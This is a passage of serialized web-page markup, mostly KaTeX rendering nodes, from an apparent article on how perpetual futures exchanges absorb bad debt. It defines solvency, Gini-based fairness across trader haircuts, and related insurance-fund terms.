65264,"style":112823},[6339],[],{"type":23,"tag":230,"props":165267,"children":165269},{"className":165268},[6345],[165270,165275],{"type":23,"tag":230,"props":165271,"children":165273},{"className":165272,"style":23903},[6345,23902],[165274],{"type":29,"value":23906},{"type":23,"tag":230,"props":165276,"children":165278},{"className":165277},[6362],[165279],{"type":23,"tag":230,"props":165280,"children":165282},{"className":165281},[6367,23956],[165283,165312],{"type":23,"tag":230,"props":165284,"children":165286},{"className":165285},[6372],[165287,165307],{"type":23,"tag":230,"props":165288,"children":165290},{"className":165289,"style":111258},[6377],[165291],{"type":23,"tag":230,"props":165292,"children":165293},{"style":162759},[165294,165298],{"type":23,"tag":230,"props":165295,"children":165297},{"className":165296,"style":6387},[6386],[],{"type":23,"tag":230,"props":165299,"children":165301},{"className":165300},[6392,6393,6394,6395],[165302],{"type":23,"tag":230,"props":165303,"children":165305},{"className":165304},[6345,23902,6395],[165306],{"type":29,"value":58177},{"type":23,"tag":230,"props":165308,"children":165310},{"className":165309},[24059],[165311],{"type":29,"value":24062},{"type":23,"tag":230,"props":165313,"children":165315},{"className":165314},[6372],[165316],{"type":23,"tag":230,"props":165317,"children":165319},{"className":165318,"style":94909},[6377],[165320],{"type":23,"tag":230,"props":165321,"children":165322},{},[],{"type":29,"value":165324},": mark price from different sources; ",{"type":23,"tag":71,"props":165326,"children":165328},{"className":165327},[6318,6319],[165329],{"type":23,"tag":230,"props":165330,"children":165332},{"className":165331},[6324],[165333],{"type":23,"tag":230,"props":165334,"children":165336},{"className":165335,"ariaHidden":1726},[6329],[165337],{"type":23,"tag":230,"props":165338,"children":165340},{"className":165339},[6334],[165341,165345],{"type":23,"tag":230,"props":165342,"children":165344},{"className":165343,"style":23897},[6339],[],{"type":23,"tag":230,"props":165346,"children":165348},{"className":165347,"style":96846},[6345,23902],[165349],{"type":29,"value":96880},{"type":29,"value":165351},": insurance fund, roughly the 5M on testnet HL; ",{"type":23,"tag":71,"props":165353,"children":165355},{"className":165354},[6318,6319],[165356],{"type":23,"tag":230,"props":165357,"children":165359},{"className":165358},[6324],[165360],{"type":23,"tag":230,"props":165361,"children":165363},{"className":165362,"ariaHidden":1726},[6329],[165364],{"type":23,"tag":230,"props":165365,"children":165367},{"className":165366},[6334],[165368,165372],{"type":23,"tag":230,"props":165369,"children":165371},{"className":165370,"style":111796},[6339],[],{"type":23,"tag":230,"props":165373,"children":165375},{"className":165374},[6345],[165376,165381],{"type":23,"tag":230,"props":165377,"children":165379},{"className":165378,"style":95312},[6345,23902],[165380],{"type":29,"value":162897},{"type":23,"tag":230,"props":165382,"children":165384},{"className":165383},[6362],[165385],{"type":23,"tag":230,"props":165386,"children":165388},{"className":165387},[6367,23956],[165389,165418],{"type":23,"tag":230,"props":165390,"children":165392},{"className":165391},[6372],[165393,165413],{"type":23,"tag":230,"props":165394,"children":165396},{"className":165395,"style":95355},[6377],[165397],{"type":23,"tag":230,"props":165398,"children":165399},{"style":95359},[165400,165404],{"type":23,"tag":230,"props":165401,"children":165403},{"className":165402,"style":6387},[6386],[],{"type":23,"tag":230,"props":165405,"children":165407},{"className":165406},[6392,6393,6394,6395],[165408],{"type":23,"tag":230,"props":165409,"children":165411},{"className":165410},[6345,23902,6395],[165412],{"type":29,"value":6074},{"type":23,"tag":230,"props":165414,"children":165416},{"className":165415},[24059],[165417],{"type":29,"value":24062},{"type":23,"tag":230,"props":165419,"children":165421},{"className":165420},[6372],[165422],{"type":23,"tag":230,"props":165423,"children":165425},{"className":165424,"style":94909},[6377],[165426],{"type":23,"tag":230,"props":165427,"children":165428},{},[],{"type":29,"value":165430}," is PNL for longs, negated for shorts; ",{"type":23,"tag":71,"props":165432,"children":165434},{"className":165433},[6318,6319],[165435],{"type":23,"tag":230,"props":165436,"children":165438},{"className":165437},[6324],[165439],{"type":23,"tag":230,"props":165440,"children":165442},{"className":165441,"ariaHidden":1726},[6329],[165443],{"type":23,"tag":230,"props":165444,"children":165446},{"className":165445},[6334],[165447,165451],{"type":23,"tag":230,"props":165448,"children":165450},{"className":165449,"style":111796},[6339],[],{"type":23,"tag":230,"props":165452,"children":165454},{"className":165453},[6345],[165455,165460],{"type":23,"tag":230,"props":165456,"children":165458},{"className":165457,"style":124106},[6345,23902],[165459],{"type":29,"value":51344},{"type":23,"tag":230,"props":165461,"children":165463},{"className":165462},[6362],[165464],{"type":23,"tag":230,"props":165465,"children":165467},{"className":165466},[6367,23956],[165468,165497],{"type":23,"tag":230,"props":165469,"children":165471},{"className":165470},[6372],[165472,165492],{"type":23,"tag":230,"props":165473,"children":165475},{"className":165474,"style":95355},[6377],[165476],{"type":23,"tag":230,"props":165477,"children":165478},{"style":163054},[165479,165483],{"type":23,"tag":230,"props":165480,"children":165482},{"className":165481,"style":6387},[6386],[],{"type":23,"tag":230,"props":165484,"children":165486},{"className":165485},[6392,6393,6394,6395],[165487],{"type":23,"tag":230,"props":165488,"children":165490},{"className":165489},[6345,23902,6395],[165491],{"type":29,"value":6074},{"type":23,"tag":230,"props":165493,"children":165495},{"className":165494},[24059],[165496],{"type":29,"value":24062},{"type":23,"tag":230,"props":165498,"children":165500},{"className":165499},[6372],[165501],{"type":23,"tag":230,"props":165502,"children":165504},{"className":165503,"style":94909},[6377],[165505],{"type":23,"tag":230,"props":165506,"children":165507},{},[],{"type":29,"value":165509}," is the positive part of PNL.)",{"type":23,"tag":32,"props":165511,"children":165512},{},[165513],{"type":29,"value":165514},"And let's make the trilemma definitions concrete:",{"type":23,"tag":98,"props":165516,"children":165517},{},[165518,165992,166556],{"type":23,"tag":102,"props":165519,"children":165520},{},[165521,165525,165526,165780,165782,165833,165835,165938,165939,165990],{"type":23,"tag":2258,"props":165522,"children":165523},{},[165524],{"type":29,"value":162638},{"type":29,"value":35204},{"type":23,"tag":71,"props":165527,"children":165529},{"className":165528},[6318,6319],[165530],{"type":23,"tag":230,"props":165531,"children":165533},{"className":165532},[6324],[165534],{"type":23,"tag":230,"props":165535,"children":165537},{"className":165536,"ariaHidden":1726},[6329],[165538,165565],{"type":23,"tag":230,"props":165539,"children":165541},{"className":165540},[6334],[165542,165547,165552,165556,165561],{"type":23,"tag":230,"props":165543,"children":165546},{"className":165544,"style":165545},[6339],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":23,"tag":230,"props":165548,"children":165550},{"className":165549},[6345],[165551],{"type":29,"value":6348},{"type":23,"tag":230,"props":165553,"children":165555},{"className":165554,"style":6427},[6426],[],{"type":23,"tag":230,"props":165557,"children":165559},{"className":165558},[6432],[165560],{"type":29,"value":6406},{"type":23,"tag":230,"props":165562,"children":165564},{"className":165563,"style":6427},[6426],[],{"type":23,"tag":230,"props":165566,"children":165568},{"className":165567},[6334],[165569,165574],{"type":23,"tag":230,"props":165570,"children":165573},{"className":165571,"style":165572},[6339],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":23,"tag":230,"props":165575,"children":165577},{"className":165576},[6345],[165578,165582,165776],{"type":23,"tag":230,"props":165579,"children":165581},{"className":165580},[24031,115344],[],{"type":23,"tag":230,"props":165583,"children":165585},{"className":165584},[115349],[165586],{"type":23,"tag":230,"props":165587,"children":165589},{"className":165588},[6367,23956],[165590,165764],{"type":23,"tag":230,"props":165591,"children":165593},{"className":165592},[6372],[165594,165759],{"type":23,"tag":230,"props":165595,"children":165598},{"className":165596,"style":165597},[6377],"height:0.8884em;",[165599,165673,165684],{"type":23,"tag":230,"props":165600,"children":165601},{"style":115366},[165602,165606],{"type":23,"tag":230,"props":165603,"children":165605},{"className":165604,"style":113997},[6386],[],{"type":23,"tag":230,"props":165607,"children":165609},{"className":165608},[6392,6393,6394,6395],[165610],{"type":23,"tag":230,"props":165611,"children":165613},{"className":165612},[6345,6395],[165614],{"type":23,"tag":230,"props":165615,"children":165617},{"className":165616},[6345,6395],[165618,165623],{"type":23,"tag":230,"props":165619,"children":165621},{"className":165620,"style":94826},[6345,23902,6395],[165622],{"type":29,"value":163313},{"type":23,"tag":230,"props":165624,"children":165626},{"className":165625},[6362],[165627],{"type":23,"tag":230,"props":165628,"children":165630},{"className":165629},[6367,23956],[165631,165661],{"type":23,"tag":230,"props":165632,"children":165634},{"className":165633},[6372],[165635,165656],{"type":23,"tag":230,"props":165636,"children":165638},{"className":165637,"style":114158},[6377],[165639],{"type":23,"tag":230,"props":165640,"children":165642},{"style":165641},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[165643,165647],{"type":23,"tag":230,"props":165644,"children":165646},{"className":165645,"style":110686},[6386],[],{"type":23,"tag":230,"props":165648,"children":165650},{"className":165649},[6392,110691,110692,6395],[165651],{"type":23,"tag":230,"props":165652,"children":165654},{"className":165653,"style":23903},[6345,23902,6395],[165655],{"type":29,"value":8324},{"type":23,"tag":230,"props":165657,"children":165659},{"className":165658},[24059],[165660],{"type":29,"value":24062},{"type":23,"tag":230,"props":165662,"children":165664},{"className":165663},[6372],[165665],{"type":23,"tag":230,"props":165666,"children":165669},{"className":165667,"style":165668},[6377],"height:0.1433em;",[165670],{"type":23,"tag":230,"props":165671,"children":165672},{},[],{"type":23,"tag":230,"props":165674,"children":165675},{"style":115399},[165676,165680],{"type":23,"tag":230,"props":165677,"children":165679},{"className":165678,"style":113997},[6386],[],{"type":23,"tag":230,"props":165681,"children":165683},{"className":165682,"style":115409},[115408],[],{"type":23,"tag":230,"props":165685,"children":165687},{"style":165686},"top:-3.4101em;",[165688,165692],{"type":23,"tag":230,"props":165689,"children":165691},{"className":165690,"style":113997},[6386],[],{"type":23,"tag":230,"props":165693,"children":165695},{"className":165694},[6392,6393,6394,6395],[165696],{"type":23,"tag":230,"props":165697,"children":165699},{"className":165698},[6345,6395],[165700],{"type":23,"tag":230,"props":165701,"children":165703},{"className":165702},[6345,6395],[165704,165709],{"type":23,"tag":230,"props":165705,"children":165707},{"className":165706,"style":124603},[6345,23902,6395],[165708],{"type":29,"value":124606},{"type":23,"tag":230,"props":165710,"children":165712},{"className":165711},[6362],[165713],{"type":23,"tag":230,"props":165714,"children":165716},{"className":165715},[6367,23956],[165717,165748],{"type":23,"tag":230,"props":165718,"children":165720},{"className":165719},[6372],[165721,165743],{"type":23,"tag":230,"props":165722,"children":165725},{"className":165723,"style":165724},[6377],"height:0.2963em;",[165726],{"type":23,"tag":230,"props":165727,"children":165729},{"style":165728},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[165730,165734],{"type":23,"tag":230,"props":165731,"children":165733},{"className":165732,"style":110686},[6386],[],{"type":23,"tag":230,"props":165735,"children":165737},{"className":165736},[6392,110691,110692,6395],[165738],{"type":23,"tag":230,"props":165739,"children":165741},{"className":165740},[6345,23902,6395],[165742],{"type":29,"value":24044},{"type":23,"tag":230,"props":165744,"children":165746},{"className":165745},[24059],[165747],{"type":29,"value":24062},{"type":23,"tag":230,"props":165749,"children":165751},{"className":165750},[6372],[165752],{"type":23,"tag":230,"props":165753,"children":165755},{"className":165754,"style":110711},[6377],[165756],{"type":23,"tag":230,"props":165757,"children":165758},{},[],{"type":23,"tag":230,"props":165760,"children":165762},{"className":165761},[24059],[165763],{"type":29,"value":24062},{"type":23,"tag":230,"props":165765,"children":165767},{"className":165766},[6372],[165768],{"type":23,"tag":230,"props":165769,"children":165772},{"className":165770,"style":165771},[6377],"height:0.4453em;",[165773],{"type":23,"tag":230,"props":165774,"children":165775},{},[],{"type":23,"tag":230,"props":165777,"children":165779},{"className":165778},[24053,115344],[],{"type":29,"value":165781}," — how much of the total bad debt was actually covered. ",{"type":23,"tag":71,"props":165783,"children":165785},{"className":165784},[6318,6319],[165786],{"type":23,"tag":230,"props":165787,"children":165789},{"className":165788},[6324],[165790],{"type":23,"tag":230,"props":165791,"children":165793},{"className":165792,"ariaHidden":1726},[6329],[165794,165820],{"type":23,"tag":230,"props":165795,"children":165797},{"className":165796},[6334],[165798,165802,165807,165811,165816],{"type":23,"tag":230,"props":165799,"children":165801},{"className":165800,"style":23897},[6339],[],{"type":23,"tag":230,"props":165803,"children":165805},{"className":165804,"style":24361},[6345,23902],[165806],{"type":29,"value":24364},{"type":23,"tag":230,"props":165808,"children":165810},{"className":165809,"style":6524},[6426],[],{"type":23,"tag":230,"props":165812,"children":165814},{"className":165813},[6529],[165815],{"type":29,"value":863},{"type":23,"tag":230,"props":165817,"children":165819},{"className":165818,"style":6524},[6426],[],{"type":23,"tag":230,"props":165821,"children":165823},{"className":165822},[6334],[165824,165828],{"type":23,"tag":230,"props":165825,"children":165827},{"className":165826,"style":95857},[6339],[],{"type":23,"tag":230,"props":165829,"children":165831},{"className":165830},[6345],[165832],{"type":29,"value":6348},{"type":29,"value":165834}," means fully solvent (",{"type":23,"tag":71,"props":165836,"children":165838},{"className":165837},[6318,6319],[165839],{"type":23,"tag":230,"props":165840,"children":165842},{"className":165841},[6324],[165843],{"type":23,"tag":230,"props":165844,"children":165846},{"className":165845,"ariaHidden":1726},[6329],[165847,165925],{"type":23,"tag":230,"props":165848,"children":165850},{"className":165849},[6334],[165851,165855,165912,165916,165921],{"type":23,"tag":230,"props":165852,"children":165854},{"className":165853,"style":112823},[6339],[],{"type":23,"tag":230,"props":165856,"children":165858},{"className":165857},[6345],[165859,165864],{"type":23,"tag":230,"props":165860,"children":165862},{"className":165861,"style":124603},[6345,23902],[165863],{"type":29,"value":124606},{"type":23,"tag":230,"props":165865,"children":165867},{"className":165866},[6362],[165868],{"type":23,"tag":230,"props":165869,"children":165871},{"className":165870},[6367,23956],[165872,165901],{"type":23,"tag":230,"props":165873,"children":165875},{"className":165874},[6372],[165876,165896],{"type":23,"tag":230,"props":165877,"children":165879},{"className":165878,"style":163469},[6377],[165880],{"type":23,"tag":230,"props":165881,"children":165882},{"style":163473},[165883,165887],{"type":23,"tag":230,"props":165884,"children":165886},{"className":165885,"style":6387},[6386],[],{"type":23,"tag":230,"props":165888,"children":165890},{"className":165889},[6392,6393,6394,6395],[165891],{"type":23,"tag":230,"props":165892,"children":165894},{"className":165893},[6345,23902,6395],[165895],{"type":29,"value":24044},{"type":23,"tag":230,"props":165897,"children":165899},{"className":165898},[24059],[165900],{"type":29,"value":24062},{"type":23,"tag":230,"props":165902,"children":165904},{"className":165903},[6372],[165905],{"type":23,"tag":230,"props":165906,"children":165908},{"className":165907,"style":94909},[6377],[165909],{"type":23,"tag":230,"props":165910,"children":165911},{},[],{"type":23,"tag":230,"props":165913,"children":165915},{"className":165914,"style":6524},[6426],[],{"type":23,"tag":230,"props":165917,"children":165919},{"className":165918},[6529],[165920],{"type":29,"value":863},{"type":23,"tag":230,"props":165922,"children":165924},{"className":165923,"style":6524},[6426],[],{"type":23,"tag":230,"props":165926,"children":165928},{"className":165927},[6334],[165929,165933],{"type":23,"tag":230,"props":165930,"children":165932},{"className":165931,"style":95857},[6339],[],{"type":23,"tag":230,"props":165934,"children":165936},{"className":165935},[6345],[165937],{"type":29,"value":6358},{"type":29,"value":17502},{"type":23,"tag":71,"props":165940,"children":165942},{"className":165941},[6318,6319],[165943],{"type":23,"tag":230,"props":165944,"children":165946},{"className":165945},[6324],[165947],{"type":23,"tag":230,"props":165948,"children":165950},{"className":165949,"ariaHidden":1726},[6329],[165951,165977],{"type":23,"tag":230,"props":165952,"children":165954},{"className":165953},[6334],[165955,165959,165964,165968,165973],{"type":23,"tag":230,"props":165956,"children":165958},{"className":165957,"style":23897},[6339],[],{"type":23,"tag":230,"props":165960,"children":165962},{"className":165961,"style":24361},[6345,23902],[165963],{"type":29,"value":24364},{"type":23,"tag":230,"props":165965,"children":165967},{"className":165966,"style":6524},[6426],[],{"type":23,"tag":230,"props":165969,"children":165971},{"className":165970},[6529],[165972],{"type":29,"value":863},{"type":23,"tag":230,"props":165974,"children":165976},{"className":165975,"style":6524},[6426],[],{"type":23,"tag":230,"props":165978,"children":165980},{"className":165979},[6334],[165981,165985],{"type":23,"tag":230,"props":165982,"children":165984},{"className":165983,"style":95857},[6339],[],{"type":23,"tag":230,"props":165986,"children":165988},{"className":165987},[6345],[165989],{"type":29,"value":6358},{"type":29,"value":165991}," means nothing was recovered.",{"type":23,"tag":102,"props":165993,"children":165994},{},[165995,165999,166000,166123,166124,166341,166343,166447,166449,166500,166502,166554],{"type":23,"tag":2258,"props":165996,"children":165997},{},[165998],{"type":29,"value":162648},{"type":29,"value":35204},{"type":23,"tag":71,"props":166001,"children":166003},{"className":166002},[6318,6319],[166004],{"type":23,"tag":230,"props":166005,"children":166007},{"className":166006},[6324],[166008],{"type":23,"tag":230,"props":166009,"children":166011},{"className":166010,"ariaHidden":1726},[6329],[166012,166038],{"type":23,"tag":230,"props":166013,"children":166015},{"className":166014},[6334],[166016,166020,166025,166029,166034],{"type":23,"tag":230,"props":166017,"children":166019},{"className":166018,"style":165545},[6339],[],{"type":23,"tag":230,"props":166021,"children":166023},{"className":166022},[6345],[166024],{"type":29,"value":6348},{"type":23,"tag":230,"props":166026,"children":166028},{"className":166027,"style":6427},[6426],[],{"type":23,"tag":230,"props":166030,"children":166032},{"className":166031},[6432],[166033],{"type":29,"value":6406},{"type":23,"tag":230,"props":166035,"children":166037},{"className":166036,"style":6427},[6426],[],{"type":23,"tag":230,"props":166039,"children":166041},{"className":166040},[6334],[166042,166046,166056,166061,166118],{"type":23,"tag":230,"props":166043,"children":166045},{"className":166044,"style":6447},[6339],[],{"type":23,"tag":230,"props":166047,"children":166049},{"className":166048},[6345,29],[166050],{"type":23,"tag":230,"props":166051,"children":166053},{"className":166052},[6345],[166054],{"type":29,"value":166055},"Gini",{"type":23,"tag":230,"props":166057,"children":166059},{"className":166058},[24031],[166060],{"type":29,"value":302},{"type":23,"tag":230,"props":166062,"children":166064},{"className":166063},[6345],[166065,166070],{"type":23,"tag":230,"props":166066,"children":166068},{"className":166067},[6345,23902],[166069],{"type":29,"value":86124},{"type":23,"tag":230,"props":166071,"children":166073},{"className":166072},[6362],[166074],{"type":23,"tag":230,"props":166075,"children":166077},{"className":166076},[6367,23956],[166078,166107],{"type":23,"tag":230,"props":166079,"children":166081},{"className":166080},[6372],[166082,166102],{"type":23,"tag":230,"props":166083,"children":166085},{"className":166084,"style":95355},[6377],[166086],{"type":23,"tag":230,"props":166087,"children":166088},{"style":94882},[166089,166093],{"type":23,"tag":230,"props":166090,"children":166092},{"className":166091,"style":6387},[6386],[],{"type":23,"tag":230,"props":166094,"children":166096},{"className":166095},[6392,6393,6394,6395],[166097],{"type":23,"tag":230,"props":166098,"children":166100},{"className":166099},[6345,23902,6395],[166101],{"type":29,"value":6074},{"type":23,"tag":230,"props":166103,"children":166105},{"className":166104},[24059],[166106],{"type":29,"value":24062},{"type":23,"tag":230,"props":166108,"children":166110},{"className":166109},[6372],[166111],{"type":23,"tag":230,"props":166112,"children":166114},{"className":166113,"style":94909},[6377],[166115],{"type":23,"tag":230,"props":166116,"children":166117},{},[],{"type":23,"tag":230,"props":166119,"children":166121},{"className":166120},[24053],[166122],{"type":29,"value":5467},{"type":29,"value":9658},{"type":23,"tag":71,"props":166125,"children":166127},{"className":166126},[6318,6319],[166128],{"type":23,"tag":230,"props":166129,"children":166131},{"className":166130},[6324],[166132],{"type":23,"tag":230,"props":166133,"children":166135},{"className":166134,"ariaHidden":1726},[6329],[166136,166214],{"type":23,"tag":230,"props":166137,"children":166139},{"className":166138},[6334],[166140,166144,166201,166205,166210],{"type":23,"tag":230,"props":166141,"children":166143},{"className":166142,"style":144105},[6339],[],{"type":23,"tag":230,"props":166145,"children":166147},{"className":166146},[6345],[166148,166153],{"type":23,"tag":230,"props":166149,"children":166151},{"className":166150},[6345,23902],[166152],{"type":29,"value":86124},{"type":23,"tag":230,"props":166154,"children":166156},{"className":166155},[6362],[166157],{"type":23,"tag":230,"props":166158,"children":166160},{"className":166159},[6367,23956],[166161,166190],{"type":23,"tag":230,"props":166162,"children":166164},{"className":166163},[6372],[166165,166185],{"type":23,"tag":230,"props":166166,"children":166168},{"className":166167,"style":95355},[6377],[166169],{"type":23,"tag":230,"props":166170,"children":166171},{"style":94882},[166172,166176],{"type":23,"tag":230,"props":166173,"children":166175},{"className":166174,"style":6387},[6386],[],{"type":23,"tag":230,"props":166177,"children":166179},{"className":166178},[6392,6393,6394,6395],[166180],{"type":23,"tag":230,"props":166181,"children":166183},{"className":166182},[6345,23902,6395],[166184],{"type":29,"value":6074},{"type":23,"tag":230,"props":166186,"children":166188},{"className":166187},[24059],[166189],{"type":29,"value":24062},{"type":23,"tag":230,"props":166191,"children":166193},{"className":166192},[6372],[166194],{"type":23,"tag":230,"props":166195,"children":166197},{"className":166196,"style":94909},[6377],[166198],{"type":23,"tag":230,"props":166199,"children":166200},{},[],{"type":23,"tag":230,"props":166202,"children":166204},{"className":166203,"style":6524},[6426],[],{"type":23,"tag":230,"props":166206,"children":166208},{"className":166207},[6529],[166209],{"type":29,"value":863},{"type":23,"tag":230,"props":166211,"children":166213},{"className":166212,"style":6524},[6426],[],{"type":23,"tag":230,"props":166215,"children":166217},{"className":166216},[6334],[166218,166222,166279,166284],{"type":23,"tag":230,"props":166219,"children":166221},{"className":166220,"style":6447},[6339],[],{"type":23,"tag":230,"props":166223,"children":166225},{"className":166224},[6345],[166226,166231],{"type":23,"tag":230,"props":166227,"children":166229},{"className":166228},[6345,23902],[166230],{"type":29,"value":4511},{"type":23,"tag":230,"props":166232,"children":166234},{"className":166233},[6362],[166235],{"type":23,"tag":230,"props":166236,"children":166238},{"className":166237},[6367,23956],[166239,166268],{"type":23,"tag":230,"props":166240,"children":166242},{"className":166241},[6372],[166243,166263],{"type":23,"tag":230,"props":166244,"children":166246},{"className":166245,"style":95355},[6377],[166247],{"type":23,"tag":230,"props":166248,"children":166249},{"style":94882},[166250,166254],{"type":23,"tag":230,"props":166251,"children":166253},{"className":166252,"style":6387},[6386],[],{"type":23,"tag":230,"props":166255,"children":166257},{"className":166256},[6392,6393,6394,6395],[166258],{"type":23,"tag":230,"props":166259,"children":166261},{"className":166260},[6345,23902,6395],[166262],{"type":29,"value":6074},{"type":23,"tag":230,"props":166264,"children":166266},{"className":166265},[24059],[166267],{"type":29,"value":24062},{"type":23,"tag":230,"props":166269,"children":166271},{"className":166270},[6372],[166272],{"type":23,"tag":230,"props":166273,"children":166275},{"className":166274,"style":94909},[6377],[166276],{"type":23,"tag":230,"props":166277,"children":166278},{},[],{"type":23,"tag":230,"props":166280,"children":166282},{"className":166281},[6345],[166283],{"type":29,"value":6919},{"type":23,"tag":230,"props":166285,"children":166287},{"className":166286},[6345],[166288,166293],{"type":23,"tag":230,"props":166289,"children":166291},{"className":166290,"style":124106},[6345,23902],[166292],{"type":29,"value":51344},{"type":23,"tag":230,"props":166294,"children":166296},{"className":166295},[6362],[166297],{"type":23,"tag":230,"props":166298,"children":166300},{"className":166299},[6367,23956],[166301,166330],{"type":23,"tag":230,"props":166302,"children":166304},{"className":166303},[6372],[166305,166325],{"type":23,"tag":230,"props":166306,"children":166308},{"className":166307,"style":95355},[6377],[166309],{"type":23,"tag":230,"props":166310,"children":166311},{"style":163054},[166312,166316],{"type":23,"tag":230,"props":166313,"children":166315},{"className":166314,"style":6387},[6386],[],{"type":23,"tag":230,"props":166317,"children":166319},{"className":166318},[6392,6393,6394,6395],[166320],{"type":23,"tag":230,"props":166321,"children":166323},{"className":166322},[6345,23902,6395],[166324],{"type":29,"value":6074},{"type":23,"tag":230,"props":166326,"children":166328},{"className":166327},[24059],[166329],{"type":29,"value":24062},{"type":23,"tag":230,"props":166331,"children":166333},{"className":166332},[6372],[166334],{"type":23,"tag":230,"props":166335,"children":166337},{"className":166336,"style":94909},[6377],[166338],{"type":23,"tag":230,"props":166339,"children":166340},{},[],{"type":29,"value":166342}," for each winner with ",{"type":23,"tag":71,"props":166344,"children":166346},{"className":166345},[6318,6319],[166347],{"type":23,"tag":230,"props":166348,"children":166350},{"className":166349},[6324],[166351],{"type":23,"tag":230,"props":166352,"children":166354},{"className":166353,"ariaHidden":1726},[6329],[166355,166434],{"type":23,"tag":230,"props":166356,"children":166358},{"className":166357},[6334],[166359,166364,166421,166425,166430],{"type":23,"tag":230,"props":166360,"children":166363},{"className":166361,"style":166362},[6339],"height:0.6891em;vertical-align:-0.15em;",[],{"type":23,"tag":230,"props":166365,"children":166367},{"className":166366},[6345],[166368,166373],{"type":23,"tag":230,"props":166369,"children":166371},{"className":166370,"style":124106},[6345,23902],[166372],{"type":29,"value":51344},{"type":23,"tag":230,"props":166374,"children":166376},{"className":166375},[6362],[166377],{"type":23,"tag":230,"props":166378,"children":166380},{"className":166379},[6367,23956],[166381,166410],{"type":23,"tag":230,"props":166382,"children":166384},{"className":166383},[6372],[166385,166405],{"type":23,"tag":230,"props":166386,"children":166388},{"className":166387,"style":95355},[6377],[166389],{"type":23,"tag":230,"props":166390,"children":166391},{"style":163054},[166392,166396],{"type":23,"tag":230,"props":166393,"children":166395},{"className":166394,"style":6387},[6386],[],{"type":23,"tag":230,"props":166397,"children":166399},{"className":166398},[6392,6393,6394,6395],[166400],{"type":23,"tag":230,"props":166401,"children":166403},{"className":166402},[6345,23902,6395],[166404],{"type":29,"value":6074},{"type":23,"tag":230,"props":166406,"children":166408},{"className":166407},[24059],[166409],{"type":29,"value":24062},{"type":23,"tag":230,"props":166411,"children":166413},{"className":166412},[6372],[166414],{"type":23,"tag":230,"props":166415,"children":166417},{"className":166416,"style":94909},[6377],[166418],{"type":23,"tag":230,"props":166419,"children":166420},{},[],{"type":23,"tag":230,"props":166422,"children":166424},{"className":166423,"style":6524},[6426],[],{"type":23,"tag":230,"props":166426,"children":166428},{"className":166427},[6529],[166429],{"type":29,"value":12792},{"type":23,"tag":230,"props":166431,"children":166433},{"className":166432,"style":6524},[6426],[],{"type":23,"tag":230,"props":166435,"children":166437},{"className":166436},[6334],[166438,166442],{"type":23,"tag":230,"props":166439,"children":166441},{"className":166440,"style":95857},[6339],[],{"type":23,"tag":230,"props":166443,"children":166445},{"className":166444},[6345],[166446],{"type":29,"value":6358},{"type":29,"value":166448}," — how uniformly the haircut burden is distributed across profitable traders. ",{"type":23,"tag":71,"props":166450,"children":166452},{"className":166451},[6318,6319],[166453],{"type":23,"tag":230,"props":166454,"children":166456},{"className":166455},[6324],[166457],{"type":23,"tag":230,"props":166458,"children":166460},{"className":166459,"ariaHidden":1726},[6329],[166461,166487],{"type":23,"tag":230,"props":166462,"children":166464},{"className":166463},[6334],[166465,166469,166474,166478,166483],{"type":23,"tag":230,"props":166466,"children":166468},{"className":166467,"style":23897},[6339],[],{"type":23,"tag":230,"props":166470,"children":166472},{"className":166471,"style":23903},[6345,23902],[166473],{"type":29,"value":123604},{"type":23,"tag":230,"props":166475,"children":166477},{"className":166476,"style":6524},[6426],[],{"type":23,"tag":230,"props":166479,"children":166481},{"className":166480},[6529],[166482],{"type":29,"value":863},{"type":23,"tag":230,"props":166484,"children":166486},{"className":166485,"style":6524},[6426],[],{"type":23,"tag":230,"props":166488,"children":166490},{"className":166489},[6334],[166491,166495],{"type":23,"tag":230,"props":166492,"children":166494},{"className":166493,"style":95857},[6339],[],{"type":23,"tag":230,"props":166496,"children":166498},{"className":166497},[6345],[166499],{"type":29,"value":6348},{"type":29,"value":166501}," means everyone loses the same fraction of their PNL. ",{"type":23,"tag":71,"props":166503,"children":166505},{"className":166504},[6318,6319],[166506],{"type":23,"tag":230,"props":166507,"children":166509},{"className":166508},[6324],[166510],{"type":23,"tag":230,"props":166511,"children":166513},{"className":166512,"ariaHidden":1726},[6329],[166514,166541],{"type":23,"tag":230,"props":166515,"children":166517},{"className":166516},[6334],[166518,166522,166527,166531,166537],{"type":23,"tag":230,"props":166519,"children":166521},{"className":166520,"style":23897},[6339],[],{"type":23,"tag":230,"props":166523,"children":166525},{"className":166524,"style":23903},[6345,23902],[166526],{"type":29,"value":123604},{"type":23,"tag":230,"props":166528,"children":166530},{"className":166529,"style":6524},[6426],[],{"type":23,"tag":230,"props":166532,"children":166534},{"className":166533},[6529],[166535],{"type":29,"value":166536},"≈",{"type":23,"tag":230,"props":166538,"children":166540},{"className":166539,"style":6524},[6426],[],{"type":23,"tag":230,"props":166542,"children":166544},{"className":166543},[6334],[166545,166549],{"type":23,"tag":230,"props":166546,"children":166548},{"className":166547,"style":95857},[6339],[],{"type":23,"tag":230,"props":166550,"children":166552},{"className":166551},[6345],[166553],{"type":29,"value":6358},{"type":29,"value":166555}," means a few get wiped while most are untouched.",{"type":23,"tag":102,"props":166557,"children":166558},{},[166559,166563,166564,166722,166724,166818,166820],{"type":23,"tag":2258,"props":166560,"children":166561},{},[166562],{"type":29,"value":162658},{"type":29,"value":35204},{"type":23,"tag":71,"props":166565,"children":166567},{"className":166566},[6318,6319],[166568],{"type":23,"tag":230,"props":166569,"children":166571},{"className":166570},[6324],[166572],{"type":23,"tag":230,"props":166573,"children":166575},{"className":166574,"ariaHidden":1726},[6329],[166576],{"type":23,"tag":230,"props":166577,"children":166579},{"className":166578},[6334],[166580,166585,166660,166665],{"type":23,"tag":230,"props":166581,"children":166584},{"className":166582,"style":166583},[6339],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":23,"tag":230,"props":166586,"children":166588},{"className":166587},[6345],[166589,166594],{"type":23,"tag":230,"props":166590,"children":166592},{"className":166591,"style":96834},[6345,23902],[166593],{"type":29,"value":163383},{"type":23,"tag":230,"props":166595,"children":166597},{"className":166596},[6362],[166598],{"type":23,"tag":230,"props":166599,"children":166601},{"className":166600},[6367,23956],[166602,166648],{"type":23,"tag":230,"props":166603,"children":166605},{"className":166604},[6372],[166606,166643],{"type":23,"tag":230,"props":166607,"children":166609},{"className":166608,"style":110543},[6377],[166610,166627],{"type":23,"tag":230,"props":166611,"children":166613},{"style":166612},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[166614,166618],{"type":23,"